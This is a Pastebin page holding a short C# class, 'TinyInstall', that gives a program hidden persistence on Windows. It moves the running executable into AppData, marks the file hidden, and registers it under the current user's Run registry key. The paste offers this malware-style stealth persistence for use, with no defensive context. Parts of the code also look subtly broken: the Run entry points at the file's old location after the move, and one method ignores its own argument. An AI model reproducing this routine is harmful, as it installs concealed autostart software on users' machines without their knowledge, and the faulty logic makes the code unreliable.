Advertisement
gigahf

TinyInstall.cs

Aug 16th, 2017
580
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.01 KB | None | 0 0
  1.     // Invented by gigajew
  2.     public class TinyInstall {
  3.         private string _appName;
  4.        
  5.         public string AppName {
  6.             get {
  7.                 return GetAppName();
  8.             }
  9.             private set {
  10.                 _appName = value;
  11.             }
  12.         }
  13.        
  14.         public TinyInstall() { }
  15.         public TinyInstall(string appname) {
  16.             if(!SetAppName(appname)) {
  17.                 throw new Exception("Invalid app name, or app name already taken!");
  18.             }
  19.         }
  20.        
  21.         public string GetAppName() {
  22.             if(!string.IsNullOrEmpty(_appName))
  23.             {
  24.                 return _appName;
  25.             }else {
  26.                 return typeof(TinyInstall).FullName;
  27.             }
  28.         }
  29.        
  30.         public bool SetAppName(string name) {
  31.             if(AppNameTaken(name)) {
  32.                 return false;
  33.             }
  34.            
  35.             _appName = name;
  36.             return true;
  37.         }
  38.        
  39.         public bool Install() {
  40.             var key = OpenKey();
  41.             if(key == null) {
  42.                 return false;
  43.             }
  44.             var flag = InstallExecutable();
  45.             key.SetValue(AppName, typeof(TinyInstall).Assembly.Location);
  46.             key.Close();
  47.             return flag;
  48.         }
  49.        
  50.         public bool Uninstall() {
  51.             if(!AppNameTaken(AppName)) {
  52.                 return true;
  53.             }
  54.             var key = OpenKey();
  55.             if(key == null) {
  56.                 return false;
  57.             }
  58.             key.DeleteValue(AppName);
  59.             key.Close();
  60.             return true;
  61.         }
  62.        
  63.         private bool AppNameTaken(string name) {
  64.             var key = OpenKey();
  65.             if(key == null) {
  66.                 return false;
  67.             }
  68.             var flag = string.IsNullOrEmpty((string) key.GetValue(AppName));
  69.             key.Close();
  70.             return !flag;
  71.         }
  72.        
  73.         private bool InstallExecutable() {
  74.             var info = new FileInfo(typeof(TinyInstall).Assembly.Location);
  75.             var desired = new FileInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + $"\\{info.Name}");
  76.             if(desired.Exists) {
  77.                 return true;
  78.             }
  79.             File.Move(info.FullName, desired.FullName);
  80.             File.SetAttributes(desired.FullName, File.GetAttributes(desired.FullName) | FileAttributes.Hidden);
  81.             return true;
  82.         }
  83.        
  84.         private RegistryKey OpenKey() {
  85.             return Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree);
  86.         }
  87.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement